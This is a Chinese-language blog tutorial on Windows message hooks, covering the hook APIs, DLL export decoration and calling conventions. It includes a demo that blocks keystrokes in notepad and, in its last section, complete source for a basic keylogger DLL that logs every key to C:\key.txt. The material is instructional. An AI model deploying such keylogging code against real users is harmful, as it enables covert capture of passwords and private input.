0%

C-11_WindowsHook

Windows HooK钩子技术是指基于Windows中窗口的程序的消息处理机制,对系统或者进程中的消息进行截获和处理,并将截获和处理的消息在重新处理和发送,使其可以实现不同的功能。

钩子技术分为系统钩子技术和线程钩子技术

系统钩子:是用于监视系统中的消息的钩子技术,因为系统钩子会影响系统中所有的应用程序,所以钩子函数必须放在独立的动态链接库(DLL) 中。做好之后使用其他程序将钩子挂载到系统的进程中。

线程钩子:指的是对指定线程进行监视。

钩子原理

在使用钩子技术的时候,WINDOWS会先在内存中创建一个数据结构,该数据结构包含了钩子的相关信息,然后把该结构体加到已经存在的钩子链表中去。新的钩子将加到老的前面。

当系统触发产生一个消息时,如果安装的是一个线程钩子,进程中的钩子函数将被调用。

如果是一个系统钩子,系统就必须把钩子函数插入到其它进程的地址空间,要做到这一点要求钩子函数必须在一个动态链接库中,所以如果想要使用系统钩子,就必须把该钩子函数放到动态链接库中去。

Hook 函数及类型

钩子类型
含义
WH_MSGFILTER 截获用户与控件交互的消息
WH_KEYBOARD 截获键盘消息
WH_GETMESSAGE 截获从消息队列送出的消息
WH_CBT 截获系统基本消息,激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件
WH_MOUSE 截获鼠标消息
WH_CALLWNDPROCRET 截获目标窗口处理完毕的消息
SetWindowsHookEx() 设置钩子
1
2
3
4
5
6
7
8
9
10
11
12
WINUSERAPI
HHOOK
WINAPI
SetWindowsHookEx(
//钩子类型
_In_ int idHook,
//回调函数地址
_In_ HOOKPROC lpfn,
//实例句柄(包含有钩子函数)
_In_opt_ HINSTANCE hmod,
//线程ID,欲勾住的线程(为0则不指定,全局)
_In_ DWORD dwThreadId);
UnhookWindowsHookEx()卸载钩子
1
2
3
4
5
6
WINUSERAPI
BOOL
WINAPI
UnhookWindowsHookEx(
//要删除的钩子的句柄。这个参数是上一个函数SetWindowsHookEx的返回值.
_In_ HHOOK hhk);
**CallNextHookEx()** 将钩子信息传递到当前钩子链中的下一个子程,一个钩子程序可以调用这个函数之前或之后处理钩子信息
1
2
3
4
5
LRESULT WINAPI CallNextHookEx(
HHOOK hhk,
int nCode,
WPARAM wParam,
LPARAM lParam);

Hook demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <Windows.h>
#include <conio.h>
#include <stdio.h>

void main() {

HMODULE dll = LoadLibraryA("keyboarddll.dll");
void (*HookStart)() = (void(*)())GetProcAddress(dll, "HookStart");
void(*HookStop)()= (void(*)())GetProcAddress(dll, "HookStop");
HookStart();

printf("输入q退出卸载钩子\n");
while (_getch() != 'q');

HookStop();

FreeLibrary(dll); //卸载dll

}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"


HHOOK hHook = NULL;
HINSTANCE hinstance = NULL;

LRESULT CALLBACK keyProc(int code, WPARAM wparm, LPARAM lparam) {

char szBuffer[1024] = { 0 };
char* p = NULL; //从右侧找 先定义一个指针

if (code >= 0) {
if (!(lparam & 0x80000000)) { //32位下 最高位置为1 0x8000 0000
GetModuleFileNameA(NULL, szBuffer, sizeof(szBuffer));
p = strrchr(szBuffer,'\\'); //从右边找
if (!_strcmpi(p+1, "notepad.exe")) {
return 1;
}
}
}
return CallNextHookEx(hHook, code, wparm, lparam); //给下一个钩子处理或者给应用程序

}

_declspec(dllexport) void HookStart() { //安装钩子
hHook = SetWindowsHookEx(WH_KEYBOARD, keyProc, hinstance, NULL);
}

_declspec(dllexport) void HookStop() { //卸载钩子

if (hHook) {
UnhookWindowsHookEx(hHook);

}
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hinstance = hModule; //在载入时获取 后面无法获取
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

使用钩子hook住notepad 由于notepad是64位的,所有要编译成64位应用程序 使用x64dbg进行调试 (没法使用od调试 od只能调试32位)

打开x64dbg 点击 文件->附加 附加notepad.exe

img

然后点击 选项->选项

img

打开dll加载时发生暂停

img

点击视图->模块 然后运行钩子 在notepad中随意输入一下 即可看到在x64dbg坐下方载入之前编写的dll

img

在DLL编程中,导出函数为什么需要extern "C"?

使用dumpbin 查看dll的导出函数

1
dumpbin .exports keyboarddll.dll
img

导出函数的修饰方式

1
2
3
4
5
6
7
8
9
10
11
12
extern "C" _declspec(dllexport) void HookStart() {     //安装钩子
hHook = SetWindowsHookEx(WH_KEYBOARD, keyProc, hinstance, NULL);
}


extern "C" _declspec(dllexport) void HookStop() { //卸载钩子

if (hHook) {
UnhookWindowsHookEx(hHook);

}
}

在前面添加上extern "C" 后再次查看

img

一般在编写dll的时候 都会使用到这个extern "C"

extern 为全局函数 ,“C”表示使用C编译器进行编译而不是C++。 C++的编译方式考虑了函数重载,所以对函数名进行了新的修饰,产生了所谓的破坏性命名。

在编译链接时,C++会按照自己的规则篡改函数的名称,这一过程称为“名字改编”。这会导致不同的编译器、不同的语言下调用dll发生问题。因此我们希望动态链接库文件在编译时,导出函数的名称不要发生变化,可以再定义导出函数时加上限定符:extern “C”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#pragma once

extern "C" {
//extern "C" + _stdcall,函数导出符号为 _CreateNativeManager@0 : _+函数名+@+传参字节数
//由于_stdcall是被调用方清理堆栈,所以函数符号里面包含了传参的信息
_declspec(dllexport) NativeManager* _stdcall CreateNativeManager();
_declspec(dllexport) void _stdcall ReleaseNativeManager();
_declspec(dllexport) void(_stdcall ExSetLogHandler)(LogHandler handler);
//extern "C" + _cdecl,函数导出符号为 ReleaseNativeManager2 : 函数名
//由于_cdecl是调用方清理堆栈,所以只需要函数名就可以
_declspec(dllexport) void(_cdecl ReleaseNativeManager2)();
}
//不使用extern的情况下,是C++的导出方式,函数符号如下:
//?ReleaseNativeManager1@@YGXH@Z : ?+函数名+@@YG+返回类型+参数1类型...+@Z
//如果是_cdecl @YG变为@YA
//如果没有参数即参数为void,则以Z结尾,例如:
//?ReleaseNativeManager3@@YAXXZ : ?+函数名+@@YA+返回类型+XZ
//以上 X表示 void类型,H表示int参数类型
_declspec(dllexport) void(_stdcall ReleaseNativeManager1)(int num);
_declspec(dllexport) void(_cdecl ReleaseNativeManager3)();

_stdcall和_cdecl的区别

默认情况VC使用_cdecl 的函数调用方式 如果产生的dll只会给C/C++使用 那么没必要定义为__stdcall调用方式

如果要给Win32汇编使用 那么可以使用_stdcall

1)调用协议常用场合

__stdcall:Windows API默认的函数调用协议。

__cdecl:C/C++默认的函数调用协议。

2)函数参数入栈方式

__stdcall:函数参数由右向左入栈。

__cdecl:函数参数由右向左入栈。

3)栈内数据清除方式

__stdcall:函数调用结束后由被调用函数清除栈内数据。

__cdecl:函数调用结束后由函数调用者清除栈内数据。

4)C语言编译器函数名称修饰规则

__stdcall:编译后,函数名被修饰为“_functionname@number”。

__cdecl:编译后,函数名被修饰为“_functionname”。

5)C++语言编译器函数名称修饰规则

__stdcall:编译后,函数名被修饰为“?functionname@@YG******@Z”。

__cdecl:编译后,函数名被修饰为“?functionname@@YA******@Z”。


键盘钩子(一)

获取键值 然后报存到txt中(以下代码在测试时只能hook当前hook.exe的键盘记录...)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>

HHOOK hHook = NULL;
HINSTANCE hinstance = NULL;

LRESULT CALLBACK keyProc(int code, WPARAM wparm, LPARAM lparam) {

char szBuffer[1024] = { 0 };
FILE* p = NULL; //从右侧找 先定义一个指针

fopen_s(&p, "C:\\key.txt", "a+");
if (p == NULL) {
return CallNextHookEx(hHook, code, wparm, lparam);
}
if (code < 0) {
return CallNextHookEx(hHook, code, wparm, lparam);
}

GetKeyNameTextA(lparam, szBuffer, sizeof(szBuffer)); //获取键值
fwrite(szBuffer, strlen(szBuffer), 1, p);//写入文件中
fputs("\r\n",p); //写入换行符
fflush(p); //实时刷新
fclose(p); //关闭文件

return CallNextHookEx(hHook, code, wparm, lparam); //给下一个钩子处理或者给应用程序

}

extern "C" _declspec(dllexport) void HookStart() { //安装钩子
hHook = SetWindowsHookEx(WH_KEYBOARD, keyProc, hinstance, NULL);
}

extern "C" _declspec(dllexport) void HookStop() { //卸载钩子

if (hHook) {
UnhookWindowsHookEx(hHook);
}
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hinstance = hModule; //在载入时获取 后面无法获取
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Referemces

参考

https://blog.csdn.net/liminwang0311/article/details/77170932

https://blog.csdn.net/luoyu510183/article/details/93666808

https://blog.csdn.net/qq_31209383/article/details/50849614

https://github.com/Powerful99/Windows-Hook-

https://www.cnblogs.com/17bdw/p/6533065.html

https://blog.csdn.net/qq_43812868/article/details/109275872

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------